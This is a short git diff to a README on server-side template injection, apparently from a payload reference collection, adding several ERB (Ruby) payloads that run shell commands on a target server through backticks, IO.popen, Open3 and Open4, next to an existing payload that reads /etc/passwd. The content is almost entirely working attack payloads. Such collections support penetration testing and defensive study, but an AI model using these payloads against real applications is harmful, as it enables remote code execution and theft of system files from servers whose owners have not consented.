diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 687a319..eb78c9d 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -95,7 +95,13 @@ Execute code using SSTI for ERB engine. ```ruby <%= system('cat /etc/passwd') %> +<%= `ls /` %> +<%= IO.popen('ls /').readlines() %> +<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> +<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` + + Execute code using SSTI for Slim engine. ```powershell